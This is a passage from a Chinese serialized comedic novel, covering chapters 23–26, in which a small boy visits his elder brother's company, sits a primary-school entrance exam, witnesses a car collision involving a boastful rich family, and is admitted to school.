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,询问这个小朋友的名字,从姓氏开始下手,还没出口。一个声音响起:“这个快递急件。”
前台被打断,接过要邮寄的包裹。助理正想转身,立马去准备接待室,余光却瞥见一个小不点的身影。
前台见她目光停留,解释:“噢噢,这个小孩说要来找哥哥,忘了名字也没有联系方式,只记得样子。看,还画了张画。”
她把包裹做好记号,笑着举起那张充满童真的肖像,“说是说在楼上扫地做清洁的,但现在还没找到。余秘书,你要有空拍张照发工作群,看看有没有人认领。”
“不是,这,”助理愣了愣,尺绫听到声音,回头,两人对上目光。
这,这不是,上次老板带来的小孩吗?
助理还记得,老板说是妻子亲戚家里的小孩。可那肖像画,那眼镜,那下巴,不就是妥妥的老板尺总吗!?
身后传来一声叫唤,老板尺平已经下来了,对她喊道:“还没寄好吗,怎么还不走。”
助理僵硬地转身,让出一点位置,尺平看到了她身后的小孩,原地愣住,尺绫也看到她身前的哥哥,兴奋起来。
尺绫张开两只小手,向二十米外的眼镜哥哥跑去,边跑边喊:“哥哥——”
眼镜哥哥彻底呆滞住了,他啪叽一下抱住眼镜哥哥的大腿,尺平感受到弟弟的体温,才愣愣地缓了过来。
不是,这。
尺绫开始撒娇,那模样,分明和上次在家中看见他对尺言的动作是一模一样的。但是,但是……尺平脑海空白,但是他叫自己哥哥啊,还抱他大腿啊。
弟弟的体温那么合适,像一块小毛巾缠在腿上,他一秒内思绪乱得不成样子,没有头没有尾。在胡乱冲撞的思绪中,他找回一丝理智。
他推开抱大腿的尺绫,拢着他肩膀,来到前台,助理愣愣地张大嘴巴看着。尺平极力保持面色沉静,绷着脸,刻意严肃问:“怎么了?”
助理摇摇头,否认:“没有。”立马她想起解释,把刚刚的话给重复一遍,还拿起那张肖像画给老板看,为了避免拆开老板的前后矛盾,她刻意没用“找哥哥”的字眼。
前台大概是担心尺总觉得自己失职,连忙鞠躬道:“他说要来找哥哥,但是忘记哥哥叫什么名字了,也没有联系方式。对不起尺总,我也不知道是您,要知道是您我就……”
尺平举起手掌,示意她打住。
尺平:“……”忘记了名字。
虽然面色平静,但心里翻云覆雨,虽然明明知道弟弟心中的自己并不重要,甚至尺绫连自己的名字都没记住,但弟弟是个好弟弟,他绷着脸,心甘情愿被欺骗。
他帮尺绫脱下小马包,牵着他的手往电梯走,助理突然想起什么,提醒尺平:“老板林总已经快到了。”
尺平一副冷面孔:“我等会去。”
看着老板牵着小不点的背影,助理深吸一口气,她发现一个重要细节,脑海里浮现出一个惊人的想法。
老板没有否认“找哥哥”的说法,也没有意识到与上次说辞矛盾。也就是说,这小孩不是亲戚的小孩,而真的是老板的弟弟!
年龄差距,该有二十岁了吧。
虽然不清楚老板的父亲如何,但现在看来,应当是宝刀未老,否则老板怎么会搞出一个小不点弟弟来呢。
第一次见面时,老板不肯承认关系,是不是因为害怕这个突然冒出的小不点弟弟,和他争家产!?
23.写作业
尺绫跟随尺平进了电梯,重新进入7层高楼,他感觉眼前的景象逐渐熟悉,就是上次来的那里。尺平帮他拎着小马包,用半边肩膀背着,配上正襟危坐的西装,有一种正经的滑稽感。
尺绫手里拿着自己刚刚画的肖像画,他歪歪头看,用尽了这几天在画画课上学习的技巧,要是让老师看到,一定会夸他画得好的。他让眼镜哥哥看看,哥哥点点头,抿着嘴巴,不知道是高兴还是不高兴。
尺平把尺绫牵进办公室,把小马包放在沙发上,就打算转身离开。比起弟弟,还是项目的商谈更重要。他没有问尺绫为什么来了,尺绫有点失望,在眼镜哥哥转身的时候,他主动抓住哥哥的手。
尺平转头,询问:“怎么了?”
尺绫扁着嘴巴,没有出口。尺平猜测他可能是受委屈,在兴趣班被欺负了。他收在心底,准备开完会再解决,但不忍心看他一个小孩呆在空旷的办公室内发呆,于是掏出了一部平板。
“玩吧。”他假装随意地丢下。
尺绫接过,平板没有设置密码,提前下好了尺绫爱看的短视频软件,这是之前从未有过的。
尺平就这样走出去。掩上门,尺绫看一眼平板,滑动几下,对上面的低俗小短视频并没有兴趣。他往外的玻璃墙看看,大家都在埋头工作。
他放下平板,小心翼翼地挪到门边,打开虚掩的门,露出半个头颅,用一只眼睛好奇地往外看着。
这里一层是管理层,根本没有休息摸鱼的机会,充斥着此起彼伏的通话声,显示器上密密麻麻都是文档和批复签名。
尺绫再把门拉开一点点,侧着身子,悄悄地挤出去。他左望望右望望,接着便逐渐大胆起来,走近明亮的办公区,大部分人显然没有注意到这个小不点。
他吮吸着手指,站在饮水机面前,等了一阵儿,向一个抱着文件的姐姐说:“姐姐,我想喝水。”
路过的职员明显没注意到他,顺着声音低下头看,吃了一惊,“谁家小朋友啊。”
小小的,长得怪秀气,挺讨人喜欢。职员不好意思置之不理,放下文件工作,给他倒了一杯温水:“喝吧,小朋友。”
尺绫双手接过递到嘴边,开始咕咚咕咚喝起来。
喝完半杯水,他开始哒哒哒小跑着,好奇地张望,穿梭于办公桌之间。大家都好忙碌,脸色都是惨白的,挂着黑眼圈。
“小朋友,你干嘛啊?”有一个职员注意到他,尺绫正好奇地看着他桌面上养的水培花,依旧吮着手指。
另一个人看见了尺绫是老板亲自牵上来的,于是停下手中工作,转过身来,试图拉近关系:“小朋友,你吃不吃糖呀?”
尺绫目光转到声音那边,看到呈到面前的巧克力糖,立马欢欣起来。他仔仔细细剥掉包装纸,放进口中,又心满意足地抬头。
“你读几年级了?”
“上小学了吗?”
尺绫吃糖不语,踮着脚尖好奇地看他桌面上的表格,上面填满了数字,密密麻麻的,尺绫尽力伸手够。
“诶小朋友。”一个职员想要阻止,毕竟上面写的是公司财务明细,这算得上是机密之一。
另外的同事拦住他,这是老板带来的小孩,可能是小当家,这点东西他能看懂多少?
尺绫叼着糖低头看上面的数字,看着看着就开始扭屁股,同事逗他:“小朋友,你知道这些是什么意思吗?”
尺绫嚼着糖,发出咯吱咯吱声,他目光还停留在一大串数字上。同事伸出手指着一行,继续夹声音问:“这是多少位数呀,你懂吗?”
尺绫突然伸出手指,指了指最后一排几十个数字中的一个,抬头,眼睛亮晶晶地问道:“这个是不是错了。”
职员愣了愣,这是刚刚打印上来的,明天开会用的月明细,他还没过眼。不过,这类表格都是电脑操作,套公式计算的,怎么会有错呢?
他拿起看了看,那一行相加相减,最后得出来的数。
职员:“!”
真是错了。
尺绫还在津津有味地看剩下几张,愉快地扭着身子,职员突然感到了一阵后怕,惊恐涌上心头。
如果不是这个小不点提出来,他大概率不会再看,而是明天直接拿上会议,那就是摆上台面的错误。
虽然开会的时间,大家也不会细看,很可能就这样糊弄过去了,但万一真让人揪出毛病呢,他负责的部分,这么点最基础的小事都能犯错,估计就要挨骂了。
职员立马拿起手机,去追问负责作明细报表的属下,对方立马回复:“在的领导怎么了?”
职员拍下错误,发过去。不久,对面发来一个尴尬流汗的红温黄豆,接着便说:
【对不起领导,这个表交给新来的实习生打了,他不会用公式,纯手打的,打错了[尴尬]】
这个时候,尺绫已经看完几张数字纸,没有其他错误。职员回头看尺绫,他是怎么在这么多数字中,准确看到这个错误的。
尺绫还在发力,电脑桌面上还有一份没算结果的,他叽里呱啦一口气说出好几个数字,其他人瞪大眼,吓一跳。
全算对了。
这个小孩,天生数学高手啊,哪来的这么个神童。
其他人也闻声,凑过来,围着电脑桌面看小尺绫展示口算技能。
身后传来一身叫唤:“尺绫。”
小尺绫立马转头,看到眼镜哥哥站在不远处,终于回来了,立马兴致冲冲停止游戏,哒哒哒跑过去。
老板回来了,众人立马僵住,回归原位。看着尺平拢住尺绫肩膀,把他带回去,众人不禁油然生起一阵肃然起敬。
“老板小孩?”
“真的假的。”
尺绫蹦蹦跳跳回去,回到尺平的办公室,助理在后面毕恭毕敬跟着,放下文件,就合上门让老板享受天伦之乐。
尺绫拿出自己的小马包,叫喊:“我要写作业。”
尺平扶扶眼镜:“那你写啊。”
尺绫看茶几和沙发的位置,这并不是一个好的书桌配置,尺平没办法,把他抱到自己的桌前,让他坐上了董事长的位置。
尺绫还是扭扭捏捏,拿出铅笔,翻开田字格本,好半晌都不动笔。
尺平是知道他最近要学习,尺言抓得紧。见他无精打采的,问道:“怎么不写啊。”
位置都让给他了,这可是一人之下万人之上的座位,他还想怎么样。
尺绫用一双水灵灵的大眼睛看哥哥,噘着嘴嘘嘘道:“我,我不会写。”
尺平滞一下,走过去,什么叫作不会写。看了看例字,都是最基础不过的一些字罢了。
但尺绫从小没怎么学过
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写方块字,写得最多的事家族里面的密语,年龄小头脑转换不过来,学得艰难很正常。
事已至此,尺平卷起衣袖。前几天看多了尺言手把手教尺绫写字,贴得近近的,他也要试一下。
他拿起尺绫的铅笔,从后面拢住,贴着弟弟耳边,温声耐心教道:“你哪里不会,看,是这样写的。”
尺绫跪在椅子上,摆着身子,兴致勃勃地看着眼镜哥哥写字。
尺平演示一遍:“懂了吗?”
尺绫高声答:“没懂。”
尺平只好再写一个,又问:“懂了吗?”
尺绫指指下一个方块格:“你再写一个。”
虽然察觉到不太对劲,但尺平为了证明自己也有尺言那样的耐心,于是硬着头皮顶下去,再写了一个。
“好了该你写了。”他把笔塞给尺绫。
尺绫没有接过笔,而是叽叽喳喳地指下一个字:“这个我已经会了,你能不能演示下一个呀。”
尺平:“……”
这下尺绫的阴谋诡计算是彻底暴露,这是让他帮自己写作业。
尺平无言以对。只恨自己太放松警惕了。是他小瞧了这个弟弟,他虽然变小了,但品性一如既往地恶劣。
尺绫实现了这场李代桃僵的大戏,见到眼镜哥哥似乎不愿意进行下去了,他咿咿呀呀下了椅子,把哥哥推到位置上,然后跑到沙发边上,拿起平板嘴里念念有道:
“老师让我们看一下写字教程,哥哥你写得好看,我好喜欢,你先帮我写几个吧”
果真是个不择手段、居心叵测、自私自利的小人,利用身边人是一把好手。尺平扶正眼镜,严肃地审视眼前这个弟弟,哼,以前还有冷淡疏远作为伪装,现在倒是原形毕露了。
尺绫用手指划着视频,平板发出的声音,逐渐从“今天我们来学习横、竖、撇、捺……”变为了“小小花园大世界~可爱的鸟儿来光临~”
歌声逐渐充斥了办公室,尺绫已经把写作业这事完全抛到脑后,假装忘得干干净净了。尺平没办法,他一开始推开了那低级的田字格本和铅笔,拿起文件看了一阵儿后,发现自己一个字都看不进去,满脑子都是“田”、“天”、“地”……这些例字。
他知道自己完了,强硬矜持了几分钟,终于是放下文件,叹了口气,拿起铅笔继续帮他写。
助理端进来新的文件,隔着远远就看见老板挺直腰板,坐得端正地在写着什么东西。
而他周围萦绕着尺绫平板上的儿歌声,“两只手、两只脚、一双眼睛两耳朵~”围着他余音绕梁,而他面色沉静,完全不为所动。
一定是在批复吧,助理想。论起姿态,他们老板是当仁不让的,在一众企业家中长相不俗,认真严肃的样子帅气冲天,在儿歌的充斥声中还能如此定心静力,真不愧是年纪轻轻事业有成的董事长。
她走近,捧着一堆文件,放下的时候刻意偷瞥老板一眼。
规格整齐的田字格中,赫然写着笔锋凌厉,结构协调,上下端正的大字。
【我是小小书法家,开始今天的练习吧!】
【合合合】
【木木木】
【土土土】
助理:“???”
不对吧,这不对吧。他们的老板,怎么在一本正经地写小学生的作业啊!
24.入学考
今天一早,七点钟,哥哥就将尺绫从床上拎起来,一路飞车直奔碧才小学。
尺绫揉着眼睛还没醒,全然不知道要发生什么。懵懵懂懂,在车上摇摇晃晃一阵儿后,哥哥停下车。
他远远地看到小学的建筑,像城堡一样,有一个尖尖的红色塔顶,颜色是砖红色的。哥哥没有把车开进去,而是径直停在几十米外的路边。
尺绫把头凑出窗外,发现有很多热气腾腾的雾气,还有香香的炒粉味。
戴着墨镜的尺言往后看一眼,摇车窗:“把头伸回去。”尺绫立马往后退头,不然就会被夹到头发。接着,安全锁就开了,尺绫知道该下车了。
他用力推开车门,哥哥也下车,顺手帮他关上。手里还拎着一个保温杯。尺绫迫不及待指着想吃的东西,哥哥拉住他,蹲下来,拧开杯子,先把保温杯塞到他嘴里。
“喝水。”
尺绫咕咚咕咚喝了好几口,目光还停留在包子馒头豆浆的小摊上。喝饱水后,哥哥放开他:“去吧,看看想吃什么早餐。”
路边早餐摊种类多样,零零碎碎一列排开,有不少打工人骑着小电驴停留。尺绫小跑几步,看到煎饼果子,回过身来又看到黄色的马拉糕。
他指指点点了几个菜,哥哥走过来叉腰,挥了挥:“嗯,要一份吧,再来个手抓饼。”
哥哥真大方,尺绫留着口水,一顿早餐就吃掉他一天的零花钱。
早餐摊贩的叔叔把东西都递过来,尺绫感觉暖暖的,他打开塑料袋。哥哥已经拿着袋子,夹着手抓饼,递到嘴边咬两一口。他戴着墨镜,配以潮流文雅的暖色调着装,显得协调高挑,
尺绫则是打开一袋饺子,捏了捏,放到嘴里,咸咸香香的。接着又打开装黄金糕的塑料袋,拎起来对准嘴巴,咬了一口。
他买太多种类,手里满满当当,一打开袋子往下坠,就抓不下了,吃得略显狼狈。
哥哥咬着手抓饼,低眼看他,出声道:“吃饱了就复习一下,字典在包里。”
尺绫想起今天是小学的入学考试,但是他不想看字典,于是吃得磨磨蹭蹭,慢条斯理。
碧才小学门前接连停好十几辆车,大多都是豪车,车标最低都是宝驰、奔马起步。不久,学校门前就停满了。
一辆黑色的奔马大g停过来,靠在了尺言的车后面,车主摇开窗子,嘀嘀咕咕地说:“没位置了,只能停这了,就这样吧。儿子我等会陪你走过去。”
车主是一个壮硕的大汉,同样也戴着墨镜,他停下车,开门下车看看,左右张望一下,见到热气腾腾的小摊贩和正站着吃东西的尺绫哥俩。
儿子也好奇,推开车门下车,大汉回头看一眼儿子,指了指车尾:“吃早餐。”
距离入场时间还有二十分钟。儿子爬上车,拿下面包店买的豪华黄金三明治。他凑个头出来,注意到前面的小朋友尺绫,对方穿得还算端正,却像个邋遢小乞丐一样笨手笨脚地站在路边吃,还有小朋友的家长,也是站在路边吃,虽然帅帅的。
家里告诉他在外面吃东西不能狼狈,要优雅一点,别有失身份,于是他停住下车的步子,坐在车上,刻意端正地吃起来了。
一辆电动车从他们身边疾驰而过,哔哔哔的声音把他吓了一跳,他惊恐地望一眼,又是接连的电动车大军,他泄气,只觉得这些人横冲乱撞,好没素质。
大汉敞开着车门,摊开坐着,握起价值3999的保温杯,喝家里榨的健康豆浆,一手啃刚从全市最高级的店里买来的咸方包,两口就塞完一片了。
“爸爸,前面的是什么车呀?我们家怎么没有呀。”儿子突然好奇,看见停在面前的车标,大声问。
大汉压低墨镜,“噢噢,没什么,就一垃圾车,你不用记住名字。”
“那要多少钱啊?”儿子继续大声问,生怕相隔一米前排的爸爸听不清。
大汉笑笑:“没多少,”他打量了一下前面一大一小的装扮,收拾得也得体,只可惜一些动作已经出卖了他们,是个妥妥的中产穷精致。“就二三十万而已,充面子用的车,我们不需要。”
儿子数了数手指头,他刚补习完数学,记忆还犹新,“我们的车比他们贵十倍诶。”
“数学真好。”大汉哈哈笑,夸赞,“多算算,等会考试用。”
尺绫敏锐地听到了数字,他往后看一眼,但是没理会。他更在意自己的早餐,塑料袋已经将他手腕勒出好几道红红的痕迹。他掰开,伸手给哥哥看,尺言噢噢两句,没过多安抚。
尺绫看自己手腕,塑料袋会不会切断他的手呢,这个袋子很小很紧,好难脱出来,就像戴了一个镯子,他一直挣扎。后面的小朋友吃完早餐,下了车,得意洋洋地走过来。
“你也是要进去考试的吗?”小朋友发声问,语调有些高傲。
尺绫愣了愣,下意识有些胆怯,半秒后才克服回答一个字:“嗯,对。”
这是要和他交朋友吗,尺绫感觉今天的运气有一点点好,不仅哥哥爆了金币,有好吃的早餐,还有主动上前来的小朋友。
“那要不我们等会一起进去吧,你在哪个考场?”小朋友抬高着头,叉着腰,尺绫只看见他的鼻孔。
尺绫顿滞,一时间回答不上来,突然想起哥哥打印好放在他小马包里的准考证,半个身子探进车里,拿出小马包。
他低头,用两只手指拉开拉链,小朋友扫视他的小马包,忽地惊叫一声:“你怎么也有这个小瓢虫!”
尺绫顺着目光,才注意到之前挂在小马包上的小瓢虫胸针,他口舌慢,还没开口解释,对方就吱吱哇哇:“不可能,你怎么会有,这个不是全球限量版三百只的吗,你怎么也买到了,你的是盗版吧。”
尺绫不知道什么叫全球限量版,这个球是什么球呢。这声惹得尺言侧头,投注目光,看见是个小孩子便没多加理会。此时小朋友的父亲大汉也终于走过来,拦住口无遮拦的儿子,“小耀,怎么说话的。”
这小瓢虫固然不是全球限量款,大多是父母哄孩子,或者是孩子本身自导自演的说辞。能花上千块买个金属胸针的家庭,一座不算繁华的城市里寥寥可数,很难撞在一起。
“可是爸爸,”小朋友扭着身子,跺着脚,转过身去对父亲生气撒娇,“你说这个小瓢虫全市都只有我一个人有,不是我的儿童节礼物吗。”
扭在一起的父子俩聒噪,尺
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绫看不懂,只听见父亲说:“这个款式又不贵,就一顿饭的钱,多的是人买得起。你那个不一样,是你妈给你定制的黄金钻石款,当然只有你一个人有。”
尺言侧耳听,他对家里销售的是情况还算了解,这小瓢虫胸针在N市只出过三枚定制款,基本上都是老顾客,价格确实不菲,柜台只有基础款在售卖。至于定制的黄金钻石,他倒是没听到过有这么一单,毕竟这小瓢虫本身已经镀金,背上的也是人造钻,区别基本不大。
他不出声,当做没听到,毕竟顾客就是上帝,买得越多他分红越多。
“好了,时间差不多到了。”尺言看一下时间,喊停尺绫和对方的对话,“快进去吧。”
尺绫背上小书包,左右望,哒哒哒过马路。小朋友不甘落后,立马也冲过马路。大汉来不及拦,伸手:“哎哎,看车,小心。”
俩孩子都安全抵达门口后,他看见自家儿子进了门,便回过身来,凑近两步,对着尺言笑笑:“刚刚不好意思啊,小孩子闹脾气,没办法要出口哄。”
尺言挥挥手,表示不在意。
碧才小学考试日的门口并没有封住,尺绫看见黑衣的保安叔叔,有些胆怯,但看到其他小朋友都径直走进去,他也大胆起来迈步走入。
他看到一个蓝色的指示牌,上面画一个大大的箭头。尺绫跟着小朋友步伐走过去,大家都各自找到自己考试的教室。
尺绫跟着他们上了二楼,左右望望,再看看自己的准考证,发现这个教室不是他的,他走错了。在走廊上绕了好几圈,才辨认出属于他的考场。
尺绫想自己好没用,一个温柔的女老师说要检查准考证和身份证,包包放在外面。尺绫有点紧张,拿出哥哥提前准备好的透明笔袋,立马包着身份证和准考证。
可是,尺绫捏着手心,咽了一口唾沫。他看见老师对着身份证,仔细看他模样的时候,他的心快要跳出来了。这个身份证是前天才去办的,按道理来说是假的,要是被认出来就糟糕了。
幸亏,老师把他放进去了。
发下来一张试卷,上面有语文数学英语的题目,尺绫虽然看见方块字就发晕,但这几天被逼着辛勤训练,还是有所成效,起码题目能看懂了。
他先把数学题目一口气做光了,只用了五分钟,又翻到后面,写了26个英语字母,还有一些简单的单词。这部分也很简单,毫无难度。紧接着,他回到第一面,开始磕磕绊绊拼拼音,10个只拼出来5个,还有一些描述意境的古诗词,他完全不会,只能随便写几个字。
大家都很快就交了试卷,尺绫看一阵儿不会的语文题目,见到其他人都哗啦啦地走出去了,不知道该做什么,于是也起身交试卷。
出考场之后,他背起小马包,一蹦一跳地顺着考场指引回到门边。来的时候箭头是指考场的,但考完试后箭头却换了个方向,好神奇。
碧才小学风景优美,还有紫荆花和小溪,尺绫很喜欢这个学校,他回到大门边,看到哥哥的车,哥哥正站在旁边向他招手,于是更高兴了。
他正想过马路,忽地,后面的黑色大车向前砰撞,哥哥的白车屁股凹了,颤动一下。尺言骤然吓一跳。
25.比车车
黑色的奔马大g,一起步,直直撞进白车后边。三百万撞上三十万,白车径直往前颤跳了半米。
尺言耳旁砰然一下,回头只见爱车尾部已经变形,一时间喉咙里干涩得一句话都说不出来,只能愣愣望着。
尺绫站在街对面,见到这一场面,顿了顿。他看到哥哥被吓到了,原本无数发生,一瞬间惊恐涌上心头,站在原地抬头望天,霎时间哇哇地大声哭起来。
耳畔一切声音都被放大一百遍,嗡嗡嗡地灌入。他非常害怕,尺言一听到弟弟在哭泣,还没来得及伤心,立马抽身而出,急匆匆过了马路去安抚他。
“没事啊,没事。”
“别哭。”
尺绫从哇哇声变成了呜呜声,其他小朋友从门口走出,都望着他。怎么会有这么一个出了考场就哭的小朋友呢,一定是考差了吧。尺言抱起尺绫,回到爱车旁边,此刻奔马的车主大汉和儿子都已经下了车,盯事故现场。
对方看见前车被撞得不堪入目的车尾,保险杠肯定都是要大修换新的了。他也不明白,平时出了名的老司机,怎么今天脑袋一糊,居然一脚油门踩到底了。
他看着回来的哥俩,说话有些不利索,指指点点着:“起步怎么撞成这样了,我,你,你这车也太脆了吧。”
尺言脱下墨镜,把尺绫放在人行道边,给他擦了眼泪。他不想说话了,抿着嘴。尺绫第一次感受到哥哥如此生气的情绪,哭得更厉害了。
父子俩见到再次哇哇大哭的小孩,只好停住嘴,不知所措起来。
“报警,报保险吧。”尺言不想回头,直接丢一句。
大汉拿出手机,只觉得空气中弥漫尴尬,这分明是他的全责,但她不想把气氛弄得太僵硬,打诨了几句,对方好像不领情。
大汉心里面不舒服,像硌了一块石头,让他更不想好好认错道歉了,着实没面子,他转过头去打电话,刻意把语调拉高,来掩饰自己的窘迫。
打完保险,打交警,他刻意把语调拉高,时不时瞥一眼哥俩,见对方不关注自己,心里就更难受了。
就算不报保险,他也赔得起,自己的可是百万级别的豪车,对面的车修车顶天也就五六万,自己的剐蹭一下就快顶得上对方半辆了,与其在这摆脸色,不如趁机抓住机会搞关系,和自己这种有钱老板交个朋友。
尺绫好不容易哄得差不多了,停止哭得上气不喘下气,尺言终于抽出身来处理事故,开始拍照、打电话。
对方的小朋友走过来,站在尺绫身边,面对面指责道:“你们要赔我们钱。”
尺绫正用哥哥给的香香纸巾抹眼泪鼻涕,对面的小朋友更加得寸进尺,“我们家的车比你们家的贵,所以你们要赔我们钱,你快准备二十万吧!”
尺绫全身上下只有哥哥今天发的25块,一听到对方无理取闹的攻击,顿时更加伤心了。“是你们撞得我,呜呜呜呜,我没有车回家了。”
大汉再次注意到这边的哭声,他连忙扯回儿子,刚刚内心的想法云烟消散,取而代之的是莫名止不住的火气,“臭小子,给我闭嘴。”
闹了好一阵儿后,交警过来定责,对方的保险公司还没到,接下来取证、定损,起码还需要三个小时才能搞定。
尺言看了看弟弟,思虑几秒,自己等着就等着,问题倒不大,但让弟弟陪着一起耗,极有可能会让他产生心理阴影。
让他先回去吧,尺言想。
他掏出手机,拨打尺平的电话,“你先回去好不好,你叫尺平哥哥来接你。”
他直接递给尺绫,尺绫抽泣着,把手机凑到耳边。
在公司里的尺平突闻手机震响,停下签署文件的手,低头定眼一看,心中震了震,怎么会是八百年不联系一次的尺言。他蹙眉犹豫一下,拿起还是接听了。
手机紧紧贴着脸,尺绫情绪起伏大,拿不稳,屏幕上都沾满了他的泪水。嘟嘟嘟声过后,通了。
“喂呜呜呜哥哥呜呜呜……”
稚嫩又断断续续的抽泣童声传来,尺平心里骤然一惊,居然是弟弟尺绫。这是发生什么了。
尺绫断断续续地说,一句话要喘三次气:“呜呜呜哥哥,哥哥的车,被撞了,呜呜呜我没有车回家了。”
尺平追问:“你有没有受伤。”
尺绫对空气摇摇头,只可惜另一边的尺平全然看不到。尺绫抹眼泪:“你能不能派一辆车车来我接回家,我想回家。”
打完电话后,尺言拿回手机,没过多久,交警离开了。
对方大汉感觉遥遥无期,也学模学样,让孩子先回家,于是打妻子电话,让她过来接孩子。
妻子的车也不便宜,他突然有了好胜心,叫妻子把家中剩下最好的车开过来,至少也是八十万打底。
二十分钟后,学校门口散了,他们的车开过来了。
首先到的是大汉的妻子,他们家就住在附近临江的一个高档小区里,路程比较接近。她开着一辆蓝色的奥8,稳稳停在面前。
妻子摇下车窗看一眼,嘀咕道:“怎么还报警了,私了赔点钱不就好了吗。”
大汉推了推儿子脑袋:“你先跟你妈回去,你爸我要把事情处理完。”
蓝色奥8是新款进口车,没个一百来万落不下地。老婆车来了,大汉终于有主动撑腰的资本,他转向尺言:“你放心,除了修车的钱,误工费交通费什么的你尽管提,真的抱歉啊。”
话音还没落,一辆商务黑车顺滑地开来。大汉被吸引了目光,只因为那车标是一辆卡晏。
这城市,开豪车的就那么几个生意人,他应该都很清楚熟络才对,这是谁经过啊,他肯定认识。
黑色卡晏没有开走,而是速度减缓,稳稳当当停在他们面前。
大汉:……?
卡晏的后排摇下车窗,坐着的是尺平,大汉一眯眼,霎时呆滞住了。他早该想到的,看到那车牌就该想到的,这不是之前合作的尺总吗。
他看向路边的小不点弟弟,用冷淡的语调关怀问道:“没事吧,过来。”
尺言正接着电话,推下尺绫肩膀,尺绫认出是熟悉的眼镜哥哥,立马小跑起来,嘴里抽噎喊着“哥哥……”脸颊上挂的泪痕像是受尽了委屈。他拉开后车门,艰难地爬上车,一头扑到眼镜哥哥怀里。
等尺言说完电话,尺平礼貌性地停留,关怀问他:“你——”
尺言指一堆麻烦事,把手机放回兜里:“你们先走,我还要开去定损。”
黑色卡宴关上窗,司机准备开走。
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大汉忽地冲上前来,扒着车窗,弯腰咧笑脸:“尺总,您好啊,真巧啊你也在这。”
尺平平静扫视一眼面前人物,脑海检索了一遍各合作公司的老板,搜寻失败不认识。
大汉看出来了,立马殷勤地自己介绍,只可惜他壮实,弯下腰来挤着声音的模样很滑稽:“尺总,我是之前和您合作过项目的铝材厂小李啊,还一起吃过饭呢。”
尺平扶扶眼镜,明白了,不算是合作伙伴,只是把一部分订单给了他做,自己是甲方。
吃饭的人挺多,大多重要的他都记得,记不得就证明价值不高。尺平礼貌性地点点头,“噢,好。”
“刚谈完生意吗,身体怎么样。我上次交付的货都是最好的一批,怎么样呀尺总,满意吗?”大汉试图拉近关系,找找话题,尺平没什么兴趣闲聊,想要关上车窗。大汉看见他手部动作立马明白心意,立马追加一句,“有空一起吃个饭啊。”
尺平淡淡答:“下次有机会。”
尺绫坐上眼镜哥哥的车后,远离事故现场,慢慢平静下来许多。他翻身脱下小马包,放到眼镜哥哥身上。
尺平轻轻摆弄了一下小马包,放到大腿上。
他凝视身旁乱动的弟弟好一阵儿。
“考试考得怎么样?”尺平开口问。
尺绫摇摇头,嗯哼一声,给出一个模棱两可的回答。
尺平抿抿嘴,心里安慰没事,就算考不上他花钱也能进,就不信捐个二三十万换不到一个学位。
他伸手顺了顺尺绫头发,像摸小猫一样。尺绫突然出口:“哥哥,”
每次这么一叫,尺平就知道有事情要求他了,他心里咯噔一下,保持着眼镜不掉,强装镇定地回应:“嗯?”
尺绫躺着扭成一条虫子,面朝上看他:“你能不能买一辆车给哥哥。”
尺平皱眉又挑眉:“什么哥哥。”
尺绫支支吾吾起来:“我的哥哥。”
这个称呼一出,尺平没好心情了,拿起保温杯喝一口水:“什么车?”
尺绫以为他要答应了,于是天真烂漫道:“一千万的车。”
尺平喝进去的水差点没喷出来,好不容易咽下去,眼镜下的眼睛瞪成两倍大:“你当我提款机吗?”
尺绫绞着手指,感觉自己犯了错,低头:“刚刚那个小朋友和他爸爸一直说哥哥的车很便宜,他们的车很贵。我很不喜欢。”
相差十倍价格的车,已经在尺绫心里留下记忆了,这不是一件很好的事情。
尺平训道:“小孩子家家,别搞攀比。”
他这辆卡晏也只是买来公司商务用,外出应酬才开,今天恰巧刚谈完生意,才用这么夸张的车去接尺绫。
至于尺言,他一直是自己赚钱自己花,还要供着尺绫这么个祖宗,有时候还得补贴他和司徒辅那摊子上。他性格比较保守,务实一点很正常。
但是,尺平注意到弟弟那句话中的不满,他问司机:“刚刚那人说他是谁?”
司机毕恭毕敬,全部记下来了,答道:“铝材厂的李先生,应该是4月份的时候有一起吃过饭。”
弟弟噘着嘴巴枕在他大腿上,他用手继续顺弟弟的毛。
尺平看窗外:“嗯,知道了。”
26.新房间
尺绫的小学入学测试考成绩出来了。一共四百多个人参加考试,他排第236名,语数英每科40分,他数学考了40、英语考了38、语文考了12分。
总分120分他考了90分。看上去很厉害了,但是查看公布的成绩单,他们发现考满分的居然有四十多个小朋友。
没过多少天,他就收到了录取通知书,红红的,绿绿的,还印着好几栋教学楼。
【恭喜你,尺绫小朋友,成功被碧才小学一年级录取(学费:3万/学期)】
【请于8月27日早上9点携带该通知书前往碧才小学成志楼报到,届时请出示学位费缴费清单、身份证件及复制件、以及本通知书】
他高兴地把录取通知书带到补习班里,给他的好朋友们看。大孩子和小跟班们惊讶看上面的3万,掰着手指数有多少个零,张大嘴巴:“这是我五年的零花钱了。”
尺绫很高兴,一直秀自己的通知书,还绕到以前的手工班给白老师看了。老师们都夸他好厉害,尺绫蹦蹦跶跶,得意洋洋。
不过,听说这届的碧才小学,真的招到了一个20人的天才班。那些小朋友都是鹤立鸡群、智商超群,准备十四五岁就上大学的尖子生苗苗。
小朋友们说:“尺绫,你为什么不去上那个班。你不是小天才吗。”尺绫看了看自己的通知书,他也不知道,他原来是小天才吗。
听到尺绫被碧才小学录取的消息后,数学陈老师立马飞窜过来,他以为尺绫考上了天才班,一看是普通班,他的脸色立马耷拉下来。
“你原本可以享受到更好的资源的。”他失望地摇摇头,“如果你跟着我学数学的话。”他又补一句,似乎是在惋惜。
还有一个月就要去上小学了。林梓见尺绫被录取,提前带他准备开学用具,作为心意和奖励。
挑选了一天周末,林梓带着他去到商城,商场里花花绿绿。尺绫好奇地问,他的小马包不可以当书包用吗。
林梓回答:“小学会有很多书,你还是买个大一点的书包吧。你可以轮流背。”
尺绫觉得林老师说的有道理,他可以一个肩膀背一个书包,于是听从跟随,没再疑问。
在商场里逛好半天,林老师不仅买了一个红色的书包给他,还买了很多新衣服,以及十支铅笔和一个瓢虫铅笔刀。尺绫觉得好重,他拿不下了。
林老师还带他吃了雪糕,尺绫舔舔舔,一路拎着好几个小袋子,林老师一路拎着好几个大袋子,搭乘出租车回到家。
一进家门,尺绫就看到敞开的大门,他察觉与平常不太一样,走到楼梯下探头往上看,只听见自己睡的房间不断传出窸窣声。
好像是眼镜哥哥。尺绫不知道。他上楼,见到房门内,窗帘拉开了。一个酷似眼镜哥哥的身影正站在凳子上,伸手贴着墙纸,墙边还多了一张全新的儿童书桌。
林老师放下东西后,也上来查看情况,见丈夫在帮尺绫布置房间,有些意外,出声提醒:“你注意点。”
